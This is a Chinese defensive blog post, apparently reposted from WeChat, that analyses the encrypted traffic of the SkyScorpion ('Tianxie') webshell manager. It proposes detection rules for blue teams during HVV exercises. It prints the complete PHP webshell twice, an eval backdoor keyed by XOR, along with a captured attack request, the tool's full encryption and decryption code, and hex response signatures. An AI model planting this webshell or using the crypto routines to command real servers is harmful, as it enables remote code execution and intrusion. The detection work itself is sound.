HVV防守-天蝎通信流量揭秘

渗透技巧 1个月前 admin
112 0 0

天蝎通信流量分析揭秘

获取源码

https://github.com/shack2/skyscorpion

只有一个jar包,下载下来反编译一下得到项目源代码。

不知道为什么有一些定义问题,可能是反编译的原因。例如 int 变量名 = true; int result = false;之类,还有一些没用到的函数。

直接注释掉了,方便调试。项目结构调整一下

这样之后就可以直接在idea编译运行了(jdk1.8)。

HVV防守-天蝎通信流量揭秘

但是比起直接运行的天蝎工具少了很多东西,是缺失资源文件的问题,我们把如下图的这四个资源文件都复制过来就可以了。

HVV防守-天蝎通信流量揭秘

此时再次编译运行就正常了

HVV防守-天蝎通信流量揭秘

分析php通信流量

各个语言的加解密方式看起来有些不同,先使用小皮系统启动一个php的web,看看通信特征。

因为shell里面的php木马只有一个api.php,我们把他传输到web中。

shell的默认密码是 sky,这里取的是密码明文32位md5的前16位

HVV防守-天蝎通信流量揭秘

所以换密码时的密钥是这样的:900bc885d7553375aec470198a9514f3  –>   900bc885d7553375

<?php
@error_reporting(0);
session_start();
$key="900bc885d7553375";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(isset($post))
{
$datas=explode("n",$post);
$code=$datas[0];
$t="base64_"."decode";
$code=$t($code."");
for($i=0;$i<strlen($code);$i++){
$code[$i]=$code[$i]^$key[$i+1&15];
}
$arr=explode('|',$code);
$func=$arr[0];
if(isset($arr[1])){
$p=$arr[1];
class C{publicfunction __construct($p) {eval($p."");}}
@newC($p);
}
}
?>

打开burp抓取通信流量,发现流量还做了随机XFF头,但是UA头默认是定死的(感觉是弱特征,可修改)。

POST /api.php HTTP/1.1
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/89.0.4389.90Safari/537.36Edg/89.0.774.57
X-Forwarded-For:122.17.235.140
Content-Type: application/x-www-form-urlencoded
Content-Length:596
Host:192.168.20.40:81
Connection: close
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=g255pgpeqesdq9iblrr70hs95i

UUMRBkpMSQFBVFkbUVZGXAYEPQddW1oAUh0SaWt9TFsDegQAVW5CBgR/BVJkAltydHESLE8Ifj5ZY0BqAGVFWwIEBQFvfkUGXlJFentEe3pZcQUqe3pPPm97T1JkDkBhA35SOmByBS90XgJ3YlhScHNxBSl/TFkBYwVeawJ5c2wBfig3CA1XLgVGW2tnRHt6WXEFKnt6WT0FXUN6dGFAYAN6VwBwaVotW3sEagF5WVoDfQsve3leBQVjAHhnRHt6XgAsIFViBAZaewVSZA5AcHdmFzoLcgAHf2RaeXRlXV13dREpf0xZAWRee3BdRHt6V1wPAQtxWi5wXgx+d0ReWGRIGAdwckY+YAFaeXRlXV13dRIsQWpFL05GRXp7RHt6WXEFKnt5fy5wZ11XdHFXc3dcBip8CFIucGddV3RxV3N3XAY7UWpHPm9ZV3l0XEd0Y2kaLW4IAi12BX56cHZScHgALCBfVEw+b2cEUF4DUnN3YgoHf30CIGZFDHdiWF5aXXYXOX8JAAcEZ0xjYH1fWgIFGzlVAV4GYG9bUl1tXFoCflcHcH4HBWBzT3pZRHt6XQEKAm8MWi9jRggUGh4O

查阅了一下代码,大致介绍一下反编译出来的项目结构

org/shack2/app     项目主入口点和启动逻辑
org/shack2/config    对配置文件config.ini的解析
org/shack2/controller   图形化界面中标签的对应实现
org/shack2/evalcode     四种语言的post请求构造代码,便于加密传输命令
org/shack2/model    各个功能的变量定义
org/shack2/plugins      插件加载和插件功能
org/shack2/richtext    富文本,不知道做什么用的
org/shack2/server    一些功能的实现代码
org/shack2/task      可能是异步操作的定义
org/shack2/ui      图形化的用到的一些资源,fxml文件
org/shack2/utils    常用的工具函数实现

发现php连接相关的代码在 /org/shack2/service/PHPService.java文件中定义

我们从webshell管理页面的验证按钮开始打断点,可以跟到一个公共方法

public String conmmonParam(LinkedHashMap<String, String> params, WebShell ws, String api, boolean isDecrypt, boolean isBase64) throws Exception{
try{
Stringkey=this.getEncodeKey(ws);
byte[] bdata =this.getBaseCodeExe(params, ws, api, key);
byte[] body =HTTPUtils.postRequest(ws, bdata);
String result="";
if(!isDecrypt){
         result =new String(body,"UTF-8");
}else{
if(isBase64){
            body =Base64.getDecoder().decode(body);
}

         result = MyCrypt.DecryptToString(body, key, ws.getType());
}

return result;
}catch(Exception var10){
throw var10;
}
}

追到后面有一个方法 也就是给密码进行md5的加密

   public String getEncodeKey(WebShell ws) throws Exception{
try{
Stringkey=MyCrypt.getMD5_16(ws.getPass());
return key;
}catch(Exception var3){
throw var3;
}
   }

实现

public static String getMD5_16(String clearText) throws Exception{
MessageDigestm=MessageDigest.getInstance("MD5");
   m.update(clearText.getBytes());
Stringhash=(newBigInteger(1, m.digest())).toString(16).substring(0,16);
return hash;
}

使用返回的hash作为key (连接的预先动作),检查是使用了这样的一个方法进行检查

error_reporting(0);
function main() {
session_start();
$key=$_SESSION['k'];
echoencrypt("Success",$key);
}
function encrypt($data,$key)
{
for($i=0;$i<strlen($data);$i++){
$data[$i]=$data[$i]^$key[$i+1&15];
}
return $data;
}

请求和响应包都是加密的,那么代码里肯定有解密,下了两个断点,抓取了一下时调用的函数

   public String conmmonParam(LinkedHashMap<String, String> params, WebShell ws, String api, boolean isDecrypt, boolean isBase64) throws Exception{
try{
Stringkey=this.getEncodeKey(ws);
byte[] bdata =this.getBaseCodeExe(params, ws, api, key);
byte[] body =HTTPUtils.postRequest(ws, bdata);
Stringresult="";
if(!isDecrypt){
            result =new String(body,"UTF-8");
}else{
if(isBase64){
               body =Base64.getDecoder().decode(body);
}

            result =MyCrypt.DecryptToString(body, key, ws.getType());
}

return result;
}catch(Exception var10){
throw var10;
}
   }

这里MyCrypt.DecryptToString方法中可以看见不同语言对应的是不同的加密方法,java和net用的是AES加密,PHP和asp用的是异或加密

   public static String DecryptToString(byte[] bs, String key, String ctype) throws Exception{
ShellTypetype=ShellTypeUtils.getShellType(ctype);

try{
switch(type){
case JAVA:
return DecryptJava(bs, key);
case NET:
return DecryptNet(bs, key);
case PHP:
return DecryptPHP(bs, key);
case ASP:
return DecryptAsp(bs, key);
}
}catch(Exception var5){
throw new Exception("解密返回数据失败!"+ var5.getMessage());
}

throw new Exception("未发现此类型接口解密算法!");
   }

php的相关代码中表示,进行了通信加密,但是没有进行base64编码

最终返回异或的数据

   public static String DecryptPHP(byte[] bs, String key) throws Exception{
if(bs !=null&& bs.length !=0){
returnnewString(EncryptXOR(bs, key),"UTF-8");
}else{
throw new Exception("无返回数据");
}
   }

加密算法很简单,异或就行了,但因为key都是本地的,所以在没拿到webshell样本的时候是没办法调用key进行解密的。

我们在有密钥的时候可以用这个函数进行解密。

public class XOREncryption{

    public static byte[]EncryptXOR(byte[] bs,String key) throws Exception{
        for(int i=0; i < bs.length;++i){
            bs[i]^= key.getBytes()[i +1&15];
        }

        return bs;
    }

    public static String decryptXOR(byte[] bs, String key) throws Exception{
        if(bs !=null&& bs.length !=0){
            return new String(EncryptXOR(bs, key),"UTF-8");
        }else{
            throw new Exception("无返回数据");
        }
    }

    public static String decryptString(byte[] inputBytes, String key) throws Exception{
// 将输入的字符串转换为字节数组
//        byte[] inputBytes = input.getBytes("UTF-8");
// 调用解密方法
        return decryptXOR(inputBytes, key);
    }

    public static void main(String[] args){
        try{
            String key="900bc885d7553375";// 替换为您的密钥
//            byte[] input = new byte[] {99, 69, 1, 0, 93, 75, 70}; // 替换为需要解密的字符串
            byte[] input =new byte[]{99,69,01,00,93,75,70};// 替换为需要解密的字符串

            String decryptedString= decryptString(input, key);
            System.out.println("解密后的字符串: "+ decryptedString);
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

例如验证的时候回显是 cE]KF 实际上还有两个不可见字符

cE]KF

直接在线换算成十进制

99 69 NULL NULL 93 75 70 

两个NULL NULL 是01 和 00,复制到编辑器中可以看出来了,如idea或者sublime

HVV防守-天蝎通信流量揭秘
HVV防守-天蝎通信流量揭秘

解密出来就是Success

HVV防守-天蝎通信流量揭秘

检测思路

可以简单判断出webshell的默认通信特征,新建shell的时候不一定会点验证,但是一定会点保存(此时发包会得到响应对应平台),所以蓝队人员在这里有几个检测点:

1、连接验证时响应

指定200响应、包含success的密文响应的规则(限制了长度避免误报)

2、连接保存时响应

平台对应的密文,应是Linux、Windows 10、Windows 10 专业版、Windows Server 2003 Enterprise Editon等

HVV防守-天蝎通信流量揭秘

可以检测响应数据对应的十六进制数据,测试过解密是正确的数据

Linux:  7c590c1640
Windows10:67590c07574f46440605
Windows10专业版:67590c07574f4644060515 d7 8b a4 d1 81 aa d7 eb eb
Windows Server 2003 Enterprise Edition:67590c07574f4644645047455645150b000051437d5641014545475a4052157c5459160a57 56


3、webshell传输时的文件内容

直接匹配上传shell的特征字符串

<?php
@error_reporting(0);
session_start();
$key="900bc885d7553375";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(isset($post))
{
$datas=explode("n",$post);
$code=$datas[0];
$t="base64_"."decode";
$code=$t($code."");
for($i=0;$i<strlen($code);$i++){
$code[$i]=$code[$i]^$key[$i+1&15];
}
$arr=explode('|',$code);
$func=$arr[0];
if(isset($arr[1])){
$p=$arr[1];
class C{publicfunction __construct($p) {eval($p."");}}
@newC($p);
}
}
?>


通信流量加解密总结

这里放解密脚本,也就是代码里抠出来的函数,加个main调用



import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.Base64;
import java.util.Iterator;
import java.util.List;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;


public class Main {
    public static String EncryptJava(byte[] bs, String key) throws Exception {
        byte[] raw = key.getBytes("UTF-8");
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, skeySpec);
        byte[] data = cipher.doFinal(bs);
        return Base64.getEncoder().encodeToString(data);
    }

    public static byte[] EncryptJavaByte(byte[] bs, String key) throws Exception {
        byte[] raw = key.getBytes("UTF-8");
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, skeySpec);
        return cipher.doFinal(bs);
    }

    public static String EncryptAsp(byte[] bs, String key) throws Exception {
        byte[] xor = EncryptXOR(bs, key);
        byte[] base64 = Base64.getEncoder().encode(xor);
        String result = new String(base64, "UTF-8");
        return result;
    }

    public static String encryptToString(byte[] bs, String key, String ctype) throws Exception {
        String type = ctype;
        switch(type) {
            case "JAVA":
                return EncryptJava(bs, key);
            case "NET":
                return EncryptNet(bs, key);
            case "PHP":
                return EncryptPHP(bs, key);
            case "ASP":
                return EncryptAsp(bs, key);
            default:
                throw new Exception("暂不支持此类型");
        }
    }

    public static byte[] encryptToByte(byte[] bs, String key, String ctype) throws Exception {
        String type = ctype;
        switch(type) {
            case "JAVA":
                return EncryptJavaByte(bs, key);
            case "NET":
                return EncryptNetByte(bs, key);
            case "PHP":
                return EncryptXOR(bs, key);
            case "ASP":
                return EncryptXOR(bs, key);
            default:
                throw new Exception("暂不支持此类型");
        }
    }

    public static String DecryptToString(byte[] bs, String key, String ctype) throws Exception {
        String type = ctype;
        try {
            switch(type) {
                case "JAVA":
                    return DecryptJava(bs, key);
                case "NET":
                    return DecryptNet(bs, key);
                case "PHP":
                    return DecryptPHP(bs, key);
                case "ASP":
                    return DecryptAsp(bs, key);
            }
        } catch (Exception var5) {
            throw new Exception("解密返回数据失败!" + var5.getMessage());
        }

        throw new Exception("未发现此类型接口解密算法!");
    }

    private static byte[] listTobyte(List<Byte> list) {
        if (list != null && list.size() >= 0) {
            byte[] bytes = new byte[list.size()];
            int i = 0;

            for(Iterator iterator = list.iterator(); iterator.hasNext(); ++i) {
                bytes[i] = (Byte)iterator.next();
            }

            return bytes;
        } else {
            return null;
        }
    }

    public static String DecryptJava(byte[] bs, String key) throws Exception {
        byte[] raw = key.getBytes("UTF-8");
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(2, skeySpec);
        byte[] decrypted = cipher.doFinal(bs);
        return new String(decrypted, "UTF-8");
    }

    public static String decrypt(byte[] bs, String key) throws Exception {
        byte[] raw = key.getBytes("UTF-8");
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(2, skeySpec);
        byte[] decrypted = cipher.doFinal(bs);
        return new String(decrypted, "UTF-8");
    }

    public static byte[] DecryptJavaByte(byte[] bs, String key) throws Exception {
        byte[] raw = key.getBytes("UTF-8");
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(2, skeySpec);
        return cipher.doFinal(bs);
    }

    public static byte[] EncryptNetByte(byte[] bs, String key) throws Exception {
        byte[] raw = key.getBytes("UTF-8");
        IvParameterSpec iv = new IvParameterSpec(raw);
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(1, skeySpec, iv);
        byte[] encrypted = cipher.doFinal(bs);
        return encrypted;
    }

    public static String EncryptNet(byte[] bs, String key) throws Exception {
        byte[] raw = key.getBytes("UTF-8");
        IvParameterSpec iv = new IvParameterSpec(raw);
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(1, skeySpec, iv);
        byte[] encrypted = cipher.doFinal(bs);
        return Base64.getEncoder().encodeToString(encrypted);
    }

    public static String DecryptNet(byte[] bs, String key) throws Exception {
        byte[] raw = key.getBytes("UTF-8");
        IvParameterSpec iv = new IvParameterSpec(raw);
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(2, skeySpec, iv);
        byte[] decrypted = cipher.doFinal(bs);
        if (decrypted != null && decrypted.length != 0) {
            return new String(decrypted, "UTF-8");
        } else {
            throw new Exception("");
        }
    }

    public static byte[] DecryptNetByte(byte[] bs, String key) throws Exception {
        byte[] raw = key.getBytes("UTF-8");
        IvParameterSpec iv = new IvParameterSpec(raw);
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(2, skeySpec, iv);
        byte[] decrypted = cipher.doFinal(bs);
        return decrypted;
    }

    public static String DecryptForCSharpToString(byte[] bs, String key) throws Exception {
        byte[] raw = key.getBytes("UTF-8");
        IvParameterSpec iv = new IvParameterSpec(raw);
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(2, skeySpec, iv);
        byte[] decrypted = cipher.doFinal(bs);
        return new String(decrypted, "UTF-8");
    }

    public static String EncryptPHP(byte[] bs, String key) throws Exception {
        return Base64.getEncoder().encodeToString(EncryptXOR(bs, key));
    }

    public static String DecryptPHP(byte[] bs, String key) throws Exception {
        if (bs != null && bs.length != 0) {
            return new String(EncryptXOR(bs, key), "UTF-8");
        } else {
            throw new Exception("无返回数据");
        }
    }

    public static String DecryptAsp(byte[] bs, String key) throws Exception {
        if (bs != null && bs.length != 0) {
            byte[] xor = EncryptXOR(bs, key);
            byte[] base64 = Base64.getDecoder().decode(xor);
            String result = new String(base64, "UTF-8");
            return result;
        } else {
            throw new Exception("无返回数据");
        }
    }

    public static byte[] EncryptXOR(byte[] bs, String key) throws Exception {
        for(int i = 0; i < bs.length; ++i) {
            bs[i] ^= key.getBytes()[i + 1 & 15];
        }

        return bs;
    }

    public static String bytesToHexStr(byte[] src) {
        StringBuilder sb = new StringBuilder();
        if (src != null && src.length > 0) {
            for(int i = 0; i < src.length; ++i) {
                int v = src[i] & 255;
                String hv = Integer.toHexString(v);
                if (hv.length() < 2) {
                    sb.append(0);
                }

                sb.append(hv);
            }

            return sb.toString();
        } else {
            return null;
        }
    }

    private static byte charToByte(char c) {
        return (byte)"0123456789ABCDEF".indexOf(c);
    }

    public static byte[] hexStringToBytes(String hexString) {
        if (hexString != null && !hexString.equals("")) {
            hexString = hexString.toUpperCase();
            int length = hexString.length() / 2;
            char[] hexChars = hexString.toCharArray();
            byte[] data = new byte[length];

            for(int i = 0; i < length; ++i) {
                int pos = i * 2;
                data[i] = (byte)(charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
            }

            return data;
        } else {
            return null;
        }
    }

    public static String getMD5_16(String clearText) throws Exception {
        MessageDigest m = MessageDigest.getInstance("MD5");
        m.update(clearText.getBytes());
        String hash = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
        return hash;
    }

    public static void main(String[] args) throws Exception {
        String key = "900bc885d7553375"; // webshell对应的密钥

        byte[] inputByte = new byte[] { 99, 69, 01,00, 93, 75, 70 }; // 密文信息

        // 打印列表中的所有元素
            String cyberByte = DecryptToString(inputByte   ,key,"PHP"); // 调用函数
            System.out.print(cyberByte);
        }
}

HVV防守-天蝎通信流量揭秘

后面发现ABC_123佬已经写了几款工具的很全面的图形化工具了,那有需要的同志可以直接去希潭实验室拿现成的工具来学习使用~

HVV防守-天蝎通信流量揭秘

HVV防守-天蝎通信流量揭秘


原文始发于微信公众号(安全光圈):HVV防守-天蝎通信流量揭秘

版权声明:admin 发表于 2024年8月5日 下午5:09。
转载请注明:HVV防守-天蝎通信流量揭秘 | CTF导航

相关文章